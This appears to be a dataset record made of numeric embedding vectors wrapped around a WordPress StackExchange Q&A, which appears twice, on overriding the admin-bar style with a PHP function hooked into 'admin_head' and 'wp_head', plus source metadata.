-0.0181884765625, -0.0004127025604248047, -0.0304107666015625, -0.01019287109375, -0.023162841796875, -0.0279388427734375, -0.0027179718017578125, -0.0178985595703125, 0.0022640228271484375, 0.0033111572265625, -0.00934600830078125, 0.053619384765625, -0.004467010498046875, -0.0006699562072753906, 0.036102294921875, 0.002384185791015625, 0.00397491455078125, -0.01058197021484375, 0.054351806640625, 0.038299560546875, -0.0021209716796875, -0.016143798828125, 0.00981903076171875, 0.088623046875, 0.01873779296875, -0.01371002197265625, -0.0938720703125, -0.0212249755859375, 0.004528045654296875, 0.0080718994140625, 0.0421142578125, -0.005916595458984375, 0.01186370849609375, 0.019775390625, -0.026458740234375, 0.0305023193359375, -0.0077056884765625, 0.0261077880859375, 0.0189666748046875, -0.0013294219970703125, 0.00861358642578125, 0.01971435546875, -0.0130157470703125, 0.028045654296875, 0.0089569091796875, -0.0557861328125, 0.046630859375, 0.06787109375, -0.024871826171875, 0.01641845703125, -0.03680419921875, -0.0247039794921875, 0.00127410888671875, 0.0095977783203125, 0.0302581787109375, 0.0161285400390625, 0.00939178466796875, 0.02203369140625, 0.0246734619140625, 0.0037384033203125, -0.007965087890625, 0.00769805908203125, -0.0113983154296875, 0.01001739501953125, 0.0158538818359375, 0.000278472900390625, -0.0111236572265625, -0.006114959716796875, 0.091064453125, 0.0128021240234375, -0.02435302734375, -0.01213836669921875, -0.0064849853515625, -0.0038318634033203125, -0.0033702850341796875, 0.0208282470703125, 0.0167388916015625, 0.017730712890625, 0.02001953125, -0.006679534912109375, 0.01491546630859375, 0.0277252197265625, -0.01314544677734375, 0.049407958984375, 0.002407073974609375, 0.0126190185546875, -0.032501220703125, 0.0595703125, -0.00124359130859375, 0.006378173828125, -0.0011339187622070312, 0.046142578125, 0.0095977783203125, 0.03582763671875, 0.025970458984375, -0.045928955078125, 0.037689208984375, -0.039215087890625, -0.01169586181640625, -0.0220947265625, 0.03656005859375, 0.01229095458984375, 0.04937744140625, 0.0240631103515625, -0.03826904296875, 0.0015697479248046875, -0.0631103515625, -0.0032634735107421875, 0.019256591796875, -0.0294647216796875, -0.004100799560546875, -0.0299072265625, -0.00457763671875, 0.06927490234375, 0.007503509521484375, -0.01287078857421875, 0.019775390625, -0.01398468017578125, -0.0022296905517578125, -0.0220947265625, -0.03021240234375, 0.0146331787109375, 0.0234527587890625, -0.038177490234375, -0.0152587890625, -0.0117340087890625, -0.04833984375, -0.045684814453125, 0.01186370849609375, -0.0100860595703125, -0.0008111000061035156, -0.038116455078125, 0.04644775390625, -0.046783447265625, -0.00128936767578125, -0.041839599609375, -0.0019016265869140625, 0.0814208984375, 0.061309814453125, -0.060546875, 0.026947021484375, -0.0223388671875, 0.01435089111328125, 0.0555419921875, -0.0227508544921875, -0.0149383544921875, -0.0523681640625, 0.004138946533203125, 0.0265045166015625, 0.0213775634765625, -0.0007638931274414062, -0.035919189453125, 0.0198974609375, 0.02178955078125, 0.05572509765625, -0.02178955078125, 0.01508331298828125, 0.0298309326171875, 0.01556396484375, 0.006328582763671875, -0.00033593177795410156, 0.0239715576171875, -0.02410888671875, -0.0106201171875, -0.068359375, -0.00560760498046875, 0.0171051025390625, 0.00457763671875, 0.0236968994140625, 0.0092926025390625, -0.005985260009765625, 0.01983642578125, 0.014739990234375, 0.006927490234375, -0.0173187255859375, -0.0274200439453125, 0.02105712890625, 0.031402587890625, 0.0316162109375, 0.004764556884765625, 0.03509521484375, 0.0226898193359375, -0.0265350341796875, 0.006534576416015625, 0.01934814453125, 0.0006475448608398438, 0.0005822181701660156, 0.004604339599609375, 0.0218963623046875, 0.017120361328125, -0.035675048828125, 0.0164794921875, -0.0084686279296875, -0.005176544189453125, -0.0018749237060546875, 0.004734039306640625, 0.028656005859375, 0.021087646484375, 0.074462890625, -0.005859375, -0.0264129638671875, 0.0264434814453125, -0.042999267578125, 0.040130615234375, 0.0014619827270507812, 0.054718017578125, -0.030059814453125, 0.01275634765625, 0.0031681060791015625, -0.0394287109375, 0.027130126953125, -0.0152740478515625, 0.0517578125, 0.0828857421875, 0.004261016845703125, -0.0104522705078125, -0.046051025390625, -0.00009673833847045898, -0.01558685302734375, -0.0008330345153808594, 0.01035308837890625, 0.0213470458984375, -0.0038089752197265625, -0.046844482421875, -0.0164337158203125, 0.0207977294921875, -0.0073394775390625, -0.0104827880859375, 0.00864410400390625, 0.01146697998046875, -0.01503753662109375, -0.0543212890625, 0.01434326171875, -0.040374755859375, 0.0015411376953125, 0.036163330078125, 0.060821533203125, 0.00460052490234375, 0.030792236328125, 0.0129547119140625, 0.0263519287109375, -0.009857177734375, -0.0250701904296875, 0.006561279296875, -0.018646240234375, -0.005870819091796875, 0.05450439453125, -0.0243072509765625, 0.0271759033203125, 0.0196685791015625, 0.0059967041015625, -0.0283355712890625, -0.0225372314453125, 0.09686279296875, -0.0011615753173828125, -0.032958984375, 0.039642333984375, 0.042724609375, -0.049163818359375, 0.0120697021484375, 0.0242767333984375, -0.0211029052734375, -0.010345458984375, 0.0152587890625, -0.0142669677734375, -0.02154541015625, -0.01464080810546875, -0.01934814453125, 0.06866455078125, -0.0097808837890625, -0.031768798828125, 0.00524139404296875, 0.04547119140625, -0.005565643310546875, 0.0305938720703125, -0.031005859375, 0.04931640625, 0.031402587890625, 0.024688720703125, -0.054443359375, -0.023223876953125, 0.003337860107421875, 0.046783447265625, -0.00576019287109375, -0.0138397216796875, -0.032196044921875, 0.01557159423828125, 0.08721923828125, 0.042388916015625, 0.032867431640625, 0.020294189453125, -0.006504058837890625, 0.041656494140625, 0.0430908203125, -0.0275115966796875, 0.02252197265625, 0.017242431640625, -0.039581298828125, 0.02130126953125, 0.0093231201171875, -0.0012998580932617188, 0.01235198974609375, -0.01557159423828125, -0.0293731689453125, 0.002117156982421875, 0.0184326171875, 0.01036834716796875, -0.0302276611328125, 0.049530029296875, 0.0167083740234375, -0.0177459716796875, 0.006256103515625, -0.0311126708984375, 0.033050537109375, -0.0035648345947265625, 0.041290283203125, -0.0098724365234375, 0.005069732666015625, 0.047637939453125, -0.019805908203125, -0.00605010986328125, 0.02984619140625, -0.024200439453125, 0.01084136962890625, 0.0029697418212890625, 0.01322174072265625, -0.01178741455078125, 0.03436279296875, -0.003627777099609375, 0.0113372802734375, -0.0325927734375, -0.022918701171875, 0.0026531219482421875, 0.0015668869018554688, 0.016021728515625, 0.0016498565673828125, 0.037750244140625, 0.005130767822265625, 0.00395965576171875, -0.062744140625, 0.026641845703125, 0.0190277099609375, 0.00653076171875, -0.0160980224609375, -0.0018672943115234375, -0.03131103515625, 0.022735595703125, -0.040374755859375, 0.030670166015625, 0.0203704833984375, 0.023040771484375, -0.0031280517578125, 0.0452880859375, 0.0186920166015625, -0.0162506103515625, -0.026092529296875, 0.011566162109375, -0.0153350830078125, 0.0345458984375, -0.04052734375, -0.0289306640625, -0.003238677978515625, 0.05059814453125, 0.027801513671875, 0.0284576416015625, 0.034271240234375, 0.0219268798828125, 0.0099029541015625, 0.0125885009765625, 0.04278564453125, -0.00562286376953125, -0.053558349609375, -0.00759124755859375, -0.0261077880859375, 0.055267333984375, 0.0143890380859375, 0.0153045654296875, -0.0257415771484375, 0.0670166015625, -0.031158447265625, 0.031646728515625, -0.00017893314361572266, -0.01258087158203125, 0.00870513916015625, -0.0175018310546875, 0.022918701171875, -0.0101776123046875, -0.10369873046875, -0.01251220703125, -0.006992340087890625, -0.07427978515625, 0.0270843505859375, 0.043670654296875, -0.025848388671875, 0.007415771484375, 0.01910400390625, -0.029541015625, -0.00666046142578125, 0.033905029296875, 0.004093170166015625, 0.0088958740234375, 0.0168914794921875, -0.004467010498046875, -0.06414794921875, -0.041015625, -0.018157958984375, 0.0225677490234375, -0.002941131591796875, -0.023223876953125, 0.05096435546875, 0.02886962890625, 0.0011339187622070312, 0.005062103271484375, -0.0074005126953125, -0.00830078125, 0.0506591796875, -0.033447265625, -0.0007376670837402344, -0.00945281982421875, -0.00980377197265625, -0.00966644287109375, 0.057159423828125, -0.053955078125, -0.0300445556640625, 0.047271728515625, 0.0316162109375, -0.045501708984375, 0.00921630859375, -0.0275421142578125, -0.040283203125, -0.049774169921875, -0.0021686553955078125, 0.0178375244140625, 0.0201568603515625, -0.003391265869140625, 0.0087127685546875, 0.036773681640625, -0.0186309814453125, 0.055999755859375, -0.027679443359375, 0.10552978515625, 0.054901123046875, -0.0296478271484375, -0.01181793212890625, -0.03887939453125, -0.0237579345703125, 0.00811767578125, 0.005634307861328125, -0.01171875, -0.0018367767333984375, -0.011810302734375, 0.07452392578125, 0.049072265625, 0.04400634765625, -0.03802490234375, -0.0030727386474609375, 0.08868408203125, -0.010772705078125, -0.00815582275390625, 0.016845703125, -0.0242919921875, -0.0374755859375, 0.00701141357421875, 0.00774383544921875, -0.007415771484375, -0.00844573974609375, -0.041717529296875, -0.033172607421875, 0.022796630859375, 0.0102691650390625, -0.0254364013671875, -0.00943756103515625, 0.009368896484375, -0.005771636962890625, -0.0157470703125, -0.0021877288818359375, 0.010345458984375, 0.033905029296875, -0.017913818359375, 0.00801849365234375, -0.026824951171875, -0.005344390869140625, -0.0042266845703125, 0.0015058517456054688, 0.009857177734375, -0.0221099853515625, -0.04425048828125, -0.01026153564453125, 0.01277923583984375, 0.0144195556640625, 0.038421630859375, -0.00693511962890625, 0.01349639892578125, 0.00325775146484375, -0.0614013671875, -0.045196533203125, 0.0413818359375, -0.0772705078125, -0.019500732421875, -0.0191192626953125, 0.01317596435546875, 0.0021762847900390625, -0.0457763671875, -0.0958251953125, 0.0159454345703125, -0.0224456787109375, -0.0284423828125, -0.04180908203125, 0.021240234375, 0.00394439697265625, 0.0330810546875, -0.0083770751953125, -0.01214599609375, -0.01335906982421875, 0.0029544830322265625, -0.00460052490234375, 0.0002446174621582031, 0.052154541015625, -0.01087188720703125, -0.06939697265625, -0.02197265625, -0.035797119140625, -0.0037708282470703125, 0.022369384765625, -0.01540374755859375, 0.006195068359375, 0.00875091552734375, -0.076171875, -0.07598876953125, -0.045623779296875, 0.035125732421875, -0.00685882568359375, -0.01416015625, -0.016571044921875, -0.004413604736328125, 0.05035400390625, 0.00783538818359375, 0.01259613037109375, -0.01873779296875, -0.0127716064453125, 0.000553131103515625, -0.0309295654296875, -0.01393890380859375, 0.0345458984375, -0.07012939453125, -0.0307464599609375, 0.005435943603515625, -0.00485992431640625, -0.00780487060546875, 0.01248931884765625, -0.022369384765625, -0.013458251953125, 0.039154052734375, 0.01494598388671875, -0.05645751953125, 0.061370849609375, 0.0305938720703125, -0.022491455078125, 0.021270751953125, -0.00626373291015625, -0.031707763671875, 0.02996826171875, 0.00836944580078125, -0.031463623046875, -0.0413818359375, -0.001201629638671875, 0.0274505615234375, -0.0266876220703125, 0.0172882080078125, -0.033538818359375, 0.0098419189453125, 0.005523681640625, 0.01091766357421875, -0.0109710693359375, 0.00038051605224609375, 0.001850128173828125, 0.041412353515625, -0.015045166015625, 0.03326416015625, 0.0015354156494140625, 0.06475830078125, 0.00490570068359375, 0.0216217041015625, 0.0168304443359375, -0.018463134765625, 0.052581787109375, -0.038726806640625, -0.0033721923828125, -0.0176849365234375, -0.035308837890625, -0.034576416015625, 0.005359649658203125, -0.0016641616821289062, -0.034759521484375, 0.0135498046875 ]
e0948384577be1942582cdb2a317482e53b285e3
Wordpress Stackexchange Q: How to override admin-bar style How can I override the admin-bar so that it matched the style of the backend admin area of Wordpress? Should that disable the default and clone the admin-bar.css and modify that file is good idea? A: You can override admin-bar with this function, don't need to mess with admin-bar.css. Steps: * *Write your css *Put inside the function (given below) *Add this inside functions.php // customize admin bar css function override_admin_bar_css() { if ( is_admin_bar_showing() ) { ?> <style type="text/css"> /* add your style here */ </style> <?php } } // on backend area add_action( 'admin_head', 'override_admin_bar_css' ); // on frontend area add_action( 'wp_head', 'override_admin_bar_css' );
Q: How to override admin-bar style How can I override the admin-bar so that it matched the style of the backend admin area of Wordpress? Should that disable the default and clone the admin-bar.css and modify that file is good idea? A: You can override admin-bar with this function, don't need to mess with admin-bar.css. Steps: * *Write your css *Put inside the function (given below) *Add this inside functions.php // customize admin bar css function override_admin_bar_css() { if ( is_admin_bar_showing() ) { ?> <style type="text/css"> /* add your style here */ </style> <?php } } // on backend area add_action( 'admin_head', 'override_admin_bar_css' ); // on frontend area add_action( 'wp_head', 'override_admin_bar_css' );
wordpress
{ "language": "en", "length": 112, "provenance": "stackexchange_00019.jsonl.gz:487733", "question_score": "5", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/308658" }
[ 0.0545654296875, -0.00653839111328125, 0.0177459716796875, -0.009918212890625, -0.0013484954833984375, -0.0286407470703125, 0.01385498046875, -0.0616455078125, -0.0128631591796875, 0.0200958251953125, 0.018035888671875, -0.0122833251953125, 0.0229644775390625, -0.0406494140625, 0.019378662109375, -0.0021381378173828125, 0.02215576171875, 0.036285400390625, 0.047454833984375, 0.003307342529296875, 0.0192413330078125, 0.0199737548828125, -0.01146697998046875, 0.053009033203125, 0.0271759033203125, -0.069580078125, 0.09039306640625, -0.0016536712646484375, 0.031005859375, -0.004642486572265625, 0.03790283203125, -0.0516357421875, -0.00007617473602294922, 0.0037364959716796875, 0.024200439453125, -0.0216064453125, -0.00885772705078125, 0.01873779296875, 0.01493072509765625, -0.01715087890625, 0.0614013671875, -0.04022216796875, 0.00571441650390625, 0.058624267578125, -0.0017442703247070312, -0.059478759765625, 0.07708740234375, -0.033721923828125, 0.0173797607421875, -0.060791015625, -0.015167236328125, 0.004451751708984375, -0.0012159347534179688, -0.0233001708984375, -0.00896453857421875, 0.028564453125, -0.006160736083984375, -0.0200042724609375, 0.0555419921875, -0.0084991455078125, -0.025115966796875, -0.058746337890625, 0.032501220703125, -0.0479736328125, -0.01580810546875, 0.0016422271728515625, 0.01010894775390625, -0.00327301025390625, -0.0484619140625, 0.004596710205078125, 0.050750732421875, -0.048858642578125, 0.0168914794921875, 0.0035877227783203125, -0.0176849365234375, -0.01163482666015625, 0.010589599609375, 0.02813720703125, 0.026275634765625, -0.00942230224609375, 0.035308837890625, 0.0570068359375, -0.0010061264038085938, -0.044158935546875, 0.0231170654296875, -0.021820068359375, -0.017822265625, -0.02325439453125, -0.0222320556640625, -0.0316162109375, -0.00844573974609375, -0.0234832763671875, -0.055145263671875, 0.006053924560546875, 0.016021728515625, -0.03643798828125, 0.0308990478515625, 0.01204681396484375, 0.0189361572265625, 0.0011758804321289062, -0.0149383544921875, -0.0281982421875, -0.0246124267578125, 0.0020732879638671875, -0.01421356201171875, -0.005977630615234375, -0.017333984375, 0.0268707275390625, 0.0208282470703125, 0.044830322265625, -0.0200042724609375, -0.00983428955078125, -0.0264892578125, 0.0009670257568359375, -0.0223541259765625, 0.02105712890625, -0.042999267578125, 0.0032711029052734375, -0.00801849365234375, 0.0181732177734375, 0.01016998291015625, -0.004241943359375, 0.0200958251953125, 0.0258331298828125, 0.0158843994140625, 0.0230712890625, -0.031951904296875, -0.0223388671875, 0.0010328292846679688, 0.01070404052734375, -0.052276611328125, 0.0174102783203125, 0.07110595703125, 0.037200927734375, 0.038299560546875, -0.0198974609375, 0.0218963623046875, 0.014739990234375, 0.00658416748046875, 0.0191497802734375, -0.0028400421142578125, -0.0357666015625, -0.0017118453979492188, 0.00897979736328125, -0.0164337158203125, 0.036163330078125, 0.01546478271484375, -0.004184722900390625, -0.0105743408203125, -0.034942626953125, 0.01471710205078125, -0.06585693359375, 0.0226287841796875, 0.043609619140625, 0.0079498291015625, 0.05169677734375, 0.09039306640625, -0.01024627685546875, -0.09783935546875, -0.030975341796875, -0.03692626953125, 0.00934600830078125, 0.044342041015625, 0.0017681121826171875, 0.01296234130859375, -0.00312042236328125, -0.0086669921875, 0.0088958740234375, 0.033721923828125, -0.0167999267578125, 0.051361083984375, -0.001911163330078125, 0.03375244140625, 0.01320648193359375, 0.0013132095336914062, 0.0111541748046875, 0.0225982666015625, 0.00801849365234375, 0.01305389404296875, 0.01546478271484375, -0.033599853515625, -0.042449951171875, 0.030487060546875, -0.0213470458984375, -0.036102294921875, -0.0005750656127929688, -0.00225830078125, 0.045440673828125, 0.047210693359375, 0.025115966796875, -0.0262451171875, -0.03936767578125, 0.0025005340576171875, -0.0238800048828125, 0.0018625259399414062, -0.008697509765625, 0.0021839141845703125, 0.01336669921875, 0.0005211830139160156, -0.005649566650390625, -0.0010766983032226562, 0.0117340087890625, 0.00592041015625, 0.0122833251953125, -0.037078857421875, 0.01580810546875, -0.0147857666015625, 0.034088134765625, 0.03399658203125, 0.049713134765625, -0.01219940185546875, 0.0237884521484375, -0.01041412353515625, -0.0308685302734375, -0.0104522705078125, 0.015777587890625, 0.0127105712890625, 0.03955078125, -0.0026702880859375, 0.025543212890625, 0.0022335052490234375, -0.0288543701171875, -0.0006256103515625, 0.01561737060546875, 0.0205841064453125, -0.0053558349609375, -0.0126495361328125, -0.006290435791015625, 0.038177490234375, 0.0171051025390625, -0.0221710205078125, 0.00981903076171875, 0.01416015625, 0.0293426513671875, -0.0094146728515625, -0.016754150390625, -0.001148223876953125, -0.07476806640625, 0.0011148452758789062, 0.056549072265625, 0.03521728515625, -0.017059326171875, -0.0165252685546875, 0.01959228515625, 0.024810791015625, -0.00704193115234375, 0.0234527587890625, -0.00434112548828125, -0.0046539306640625, -0.0217132568359375, -0.019287109375, -0.0390625, 0.05291748046875, -0.09405517578125, -0.0017232894897460938, 0.0509033203125, -0.02349853515625, -0.0312347412109375, -0.0202178955078125, 0.0303192138671875, 0.004047393798828125, 0.00414276123046875, -0.0087738037109375, 0.002475738525390625, -0.0236663818359375, 0.00965118408203125, 0.007472991943359375, 0.01224517822265625, -0.00494384765625, -0.0237579345703125, 0.023284912109375, 0.0200347900390625, 0.0027713775634765625, -0.00257110595703125, -0.00365447998046875, -0.0406494140625, -0.07440185546875, 0.0164642333984375, 0.0496826171875, -0.0265655517578125, -0.0093994140625, 0.041534423828125, -0.01496124267578125, -0.0175323486328125, 0.01392364501953125, -0.04034423828125, -0.01529693603515625, -0.0160675048828125, -0.010009765625, -0.00669097900390625, 0.0147857666015625, 0.0189208984375, -0.006725311279296875, 0.00983428955078125, -0.020751953125, -0.004329681396484375, 0.008758544921875, 0.0063934326171875, 0.022674560546875, -0.0175933837890625, 0.06298828125, 0.0494384765625, -0.024078369140625, 0.01099395751953125, -0.0137176513671875, 0.00441741943359375, -0.0258026123046875, 0.036895751953125, -0.00225830078125, -0.04949951171875, -0.0166473388671875, 0.006755828857421875, 0.053009033203125, -0.0122222900390625, 0.06256103515625, 0.0016002655029296875, 0.0068817138671875, 0.04931640625, -0.01049041748046875, -0.0131683349609375, -0.0218048095703125, -0.051239013671875, -0.0321044921875, 0.005832672119140625, -0.0287322998046875, 0.0260009765625, 0.01611328125, 0.00691986083984375, 0.0302581787109375, -0.037811279296875, 0.0131072998046875, -0.01531219482421875, -0.035858154296875, -0.07952880859375, 0.01148223876953125, -0.023406982421875, 0.005092620849609375, 0.050079345703125, -0.0040435791015625, -0.06658935546875, -0.01239776611328125, 0.005035400390625, -0.0038433074951171875, 0.01468658447265625, 0.0284881591796875, -0.042755126953125, -0.017974853515625, 0.0018281936645507812, -0.011474609375, 0.0007171630859375, -0.0052947998046875, -0.005706787109375, -0.0338134765625, -0.03662109375, -0.0113983154296875, 0.00948333740234375, 0.03424072265625, -0.0200042724609375, 0.007022857666015625, -0.036102294921875, -0.035614013671875, 0.014862060546875, -0.040740966796875, 0.0178985595703125, 0.008941650390625, -0.00952911376953125, -0.0015430450439453125, 0.0271453857421875, 0.028106689453125, -0.012420654296875, -0.0019893646240234375, -0.01739501953125, 0.0164947509765625, 0.0196685791015625, 0.034820556640625, -0.0103302001953125, -0.01406097412109375, -0.0498046875, 0.0018062591552734375, -0.0215911865234375, -0.01247406005859375, -0.0093994140625, 0.0206298828125, 0.01125335693359375, -0.07110595703125, 0.045379638671875, -0.06036376953125, 0.00991058349609375, -0.05828857421875, -0.02008056640625, 0.0024700164794921875, 0.11578369140625, -0.01306915283203125, -0.0189361572265625, 0.00482940673828125, 0.01230621337890625, -0.036712646484375, -0.0028667449951171875, -0.04730224609375, 0.0019626617431640625, -0.13818359375, 0.013458251953125, -0.01363372802734375, -0.035064697265625, -0.00572967529296875, 0.01009368896484375, -0.0540771484375, -0.055877685546875, -0.0031147003173828125, 0.0034275054931640625, -0.015899658203125, 0.02001953125, -0.0297698974609375, 0.00043702125549316406, 0.0277557373046875, -0.048675537109375, -0.07073974609375, -0.02069091796875, -0.035247802734375, 0.0697021484375, 0.0300140380859375, 0.00098419189453125, 0.012939453125, 0.04742431640625, 0.00836181640625, -0.02752685546875, 0.0250396728515625, 0.015167236328125, -0.0111083984375, -0.0212860107421875, -0.006725311279296875, -0.03216552734375, -0.005695343017578125, 0.0064849853515625, -0.054962158203125, 0.022857666015625, -0.01458740234375, -0.028167724609375, 0.05938720703125, -0.04364013671875, -0.076904296875, -0.061737060546875, -0.038726806640625, -0.03558349609375, -0.0230255126953125, -0.00826263427734375, -0.024261474609375, -0.060302734375, 0.0261688232421875, -0.0016202926635742188, -0.0157928466796875, 0.01806640625, 0.0268402099609375, 0.0084075927734375, -0.0253448486328125, -0.0322265625, -0.0018110275268554688, 0.01462554931640625, -0.0072479248046875, 0.0290985107421875, -0.0276641845703125, -0.0209808349609375, 0.062103271484375, -0.006832122802734375, -0.0174713134765625, 0.00960540771484375, 0.036529541015625, 0.0196533203125, -0.01953125, 0.00855255126953125, -0.007293701171875, -0.022552490234375, -0.01419830322265625, -0.0089874267578125, 0.01555633544921875, -0.0232086181640625, 0.011260986328125, 0.0601806640625, -0.060516357421875, -0.053924560546875, -0.009857177734375, 0.00868988037109375, -0.0178680419921875, 0.0242462158203125, 0.011444091796875, -0.005184173583984375, -0.0020999908447265625, 0.01471710205078125, -0.00852203369140625, 0.015899658203125, 0.0257568359375, -0.025360107421875, 0.0134124755859375, 0.0234375, -0.0450439453125, 0.0094146728515625, -0.01425933837890625, 0.09918212890625, 0.026824951171875, -0.0299072265625, -0.03033447265625, -0.007904052734375, 0.0213165283203125, -0.007354736328125, -0.01197052001953125, 0.019317626953125, 0.00775909423828125, -0.0170745849609375, -0.0124969482421875, -0.00848388671875, -0.024078369140625, -0.048309326171875, 0.041259765625, 0.0115814208984375, -0.0031490325927734375, 0.003391265869140625, 0.04315185546875, 0.05474853515625, -0.005634307861328125, -0.0233612060546875, 0.0206298828125, -0.016082763671875, 0.034454345703125, 0.006397247314453125, 0.0024471282958984375, 0.0273590087890625, -0.0193634033203125, 0.0262908935546875, -0.0175628662109375, -0.0244140625, 0.02362060546875, 0.049041748046875, 0.018341064453125, 0.01000213623046875, -0.0264892578125, -0.03662109375, -0.012298583984375, 0.0221099853515625, -0.0218048095703125, -0.045684814453125, -0.0116119384765625, 0.005558013916015625, 0.018280029296875, -0.02520751953125, -0.01308441162109375, 0.034698486328125, -0.0323486328125, 0.0228729248046875, 0.0017366409301757812, -0.02020263671875, 0.01549530029296875, 0.0186614990234375, -0.024871826171875, -0.016265869140625, -0.0002791881561279297, -0.048583984375, -0.0265350341796875, -0.01239013671875, -0.006786346435546875, 0.00627899169921875, -0.0189361572265625, 0.031707763671875, -0.004405975341796875, -0.023284912109375, -0.007411956787109375, 0.0129547119140625, 0.059783935546875, 0.039398193359375, -0.01641845703125, -0.005390167236328125, -0.057769775390625, -0.039306640625, -0.08984375, -0.053924560546875, -0.052032470703125, 0.018890380859375, -0.00662994384765625, -0.0095977783203125, -0.00667572021484375, 0.0091705322265625, -0.03009033203125, 0.07373046875, 0.0439453125, 0.051605224609375, -0.057525634765625, 0.07733154296875, -0.01100921630859375, 0.004913330078125, -0.040557861328125, 0.0004086494445800781, -0.01096343994140625, 0.03546142578125, 0.0018720626831054688, 0.01262664794921875, -0.0273284912109375, -0.0162353515625, -0.00946807861328125, 0.0009660720825195312, 0.07257080078125, -0.00913238525390625, 0.035888671875, -0.031524658203125, -0.0025787353515625, -0.037933349609375, 0.01471710205078125, -0.09075927734375, 0.0234222412109375, -0.067626953125, 0.031036376953125, 0.061004638671875, -0.059356689453125, -0.04852294921875, 0.020965576171875, 0.022369384765625, 0.055511474609375, -0.01206207275390625, -0.088134765625, 0.07666015625, 0.06829833984375, -0.0007305145263671875, 0.0306396484375, -0.005008697509765625, 0.0012645721435546875, 0.0140838623046875, 0.01021575927734375, 0.047607421875, 0.0255126953125, 0.044830322265625, -0.00577545166015625, 0.0162811279296875, 0.0215301513671875, -0.021514892578125, 0.00615692138671875, 0.07623291015625, 0.0712890625, -0.10382080078125, -0.0041656494140625, -0.004161834716796875, 0.005290985107421875, 0.05804443359375, -0.0034351348876953125, -0.037261962890625, -0.04486083984375, 0.06866455078125, -0.04400634765625, -0.010833740234375, 0.024444580078125, -0.006374359130859375, -0.02313232421875, -0.004665374755859375, 0.013702392578125, 0.01111602783203125, 0.0170745849609375, -0.0291748046875, -0.0321044921875, -0.00481414794921875, 0.023101806640625, 0.0034008026123046875, -0.01381683349609375, -0.0279998779296875, -0.025360107421875, -0.0030193328857421875, -0.0416259765625, -0.0179901123046875, 0.03033447265625, 0.0070953369140625, 0.031463623046875, 0.056182861328125, -0.0178070068359375, 0.024444580078125, 0.0026397705078125, 0.038909912109375, 0.041717529296875, -0.00774383544921875, -0.007480621337890625, -0.01617431640625, -0.0161590576171875, 0.0019931793212890625, -0.024932861328125, -0.0171661376953125, 0.0028285980224609375, -0.003627777099609375, 0.072021484375, -0.047271728515625, -0.003978729248046875, 0.0227203369140625, 0.006763458251953125, 0.00360870361328125, -0.0267181396484375, 0.0120697021484375, -0.060302734375, -0.0008182525634765625, -0.0036754608154296875, -0.00560760498046875, -0.00004410743713378906, -0.0155792236328125, -0.0167999267578125, 0.050994873046875, -0.02484130859375, 0.00154876708984375, 0.034942626953125, 0.0282440185546875, -0.0298309326171875, 0.0042572021484375, -0.0036678314208984375, -0.0019092559814453125, 0.004802703857421875, -0.0204925537109375, -0.014007568359375, -0.00939178466796875, -0.0211181640625, 0.030120849609375, 0.0118408203125, 0.007152557373046875, -0.050537109375, 0.0009360313415527344, 0.05322265625, 0.05242919921875, 0.03607177734375, 0.04388427734375, -0.0189208984375, -0.0004756450653076172, -0.0134429931640625, -0.03619384765625, 0.00933074951171875, -0.0204925537109375, -0.03533935546875, 0.0201416015625, 0.00768280029296875, 0.01145172119140625, 0.02093505859375, 0.0030879974365234375, -0.0360107421875, 0.0048065185546875, 0.0391845703125, -0.10137939453125, 0.0106353759765625, 0.0025043487548828125, 0.006305694580078125, -0.007709503173828125, 0.042083740234375, -0.0245208740234375, 0.0404052734375, -0.0027313232421875, -0.01465606689453125, -0.009674072265625, 0.006778717041015625, -0.03253173828125, 0.0071868896484375, -0.00951385498046875, 0.056427001953125, -0.032012939453125, 0.0125579833984375, 0.0184783935546875, 0.024200439453125, -0.025482177734375, -0.026824951171875, -0.0003616809844970703, 0.01367950439453125, -0.0102996826171875, 0.002414703369140625, 0.03240966796875, -0.0143585205078125, -0.02581787109375, -0.043426513671875, -0.03863525390625, -0.0574951171875, -0.0308380126953125, 0.0146026611328125, -0.0288543701171875, 0.0033435821533203125, 0.0021038055419921875, 0.01409149169921875, 0.034027099609375, 0.0281982421875, -0.00738525390625, -0.0308380126953125, -0.0005526542663574219, 0.007221221923828125, 0.053375244140625, 0.0229949951171875, 0.0184326171875, -0.045196533203125, -0.0210113525390625, -0.0238189697265625, 0.0287017822265625, -0.00963592529296875, 0.0277099609375, -0.0246429443359375, -0.00518798828125, -0.0413818359375, 0.0279693603515625, -0.0159912109375, 0.0016355514526367188, 0.020904541015625, -0.00276947021484375, -0.028717041015625, -0.0301513671875, 0.00008803606033325195, -0.033538818359375, 0.0089263916015625, -0.05340576171875, 0.0092010498046875, -0.01451873779296875, 0.005222320556640625, -0.008453369140625, 0.03131103515625, 0.006649017333984375, 0.00402069091796875, 0.0278472900390625, 0.00597381591796875, 0.0013303756713867188, -0.006359100341796875, 0.01236724853515625, 0.0011386871337890625, 0.040130615234375, -0.042694091796875, -0.03143310546875, 0.0305023193359375, -0.0299224853515625, 0.02020263671875, 0.040679931640625, -0.0386962890625, 0.015380859375, -0.0095672607421875, -0.0225830078125, -0.00032019615173339844, 0.00984954833984375, 0.01552581787109375, -0.00698089599609375, 0.004070281982421875, -0.004009246826171875, -0.03228759765625, -0.020263671875, -0.0340576171875, 0.04248046875, 0.042694091796875, 0.00785064697265625, 0.006702423095703125, 0.0435791015625, -0.037445068359375, 0.037933349609375, -0.06103515625, -0.0338134765625, -0.010986328125, -0.00848388671875, 0.01116943359375, 0.01386260986328125, -0.04534912109375, 0.01922607421875, 0.0275726318359375, -0.032806396484375, 0.03253173828125, 0.00804901123046875, 0.001430511474609375, -0.045745849609375, -0.00614166259765625, -0.034698486328125, -0.037445068359375, -0.03216552734375, -0.00007933378219604492, -0.0000692605972290039, -0.01251983642578125, 0.0021038055419921875, 0.0189208984375, 0.00205230712890625, -0.01129150390625, 0.01143646240234375, -0.008270263671875, 0.044891357421875, 0.0362548828125, -0.05047607421875, -0.0130462646484375, -0.01174163818359375, -0.01488494873046875, 0.0184173583984375, 0.00392913818359375, 0.02593994140625, -0.0196533203125, -0.00028014183044433594, 0.0038471221923828125, 0.029449462890625, 0.040069580078125, -0.0178070068359375, 0.0250244140625, 0.013458251953125, -0.01214599609375, -0.00438690185546875, 0.040802001953125, -0.027862548828125, -0.050933837890625, -0.0023212432861328125, 0.035247802734375, -0.031463623046875, -0.0236968994140625, -0.119873046875, 0.050933837890625, 0.05780029296875, 0.00989532470703125, -0.07098388671875, 0.061798095703125, -0.0677490234375, 0.07135009765625, 0.0278167724609375, 0.01428985595703125, 0.008758544921875, 0.0406494140625, -0.0462646484375, 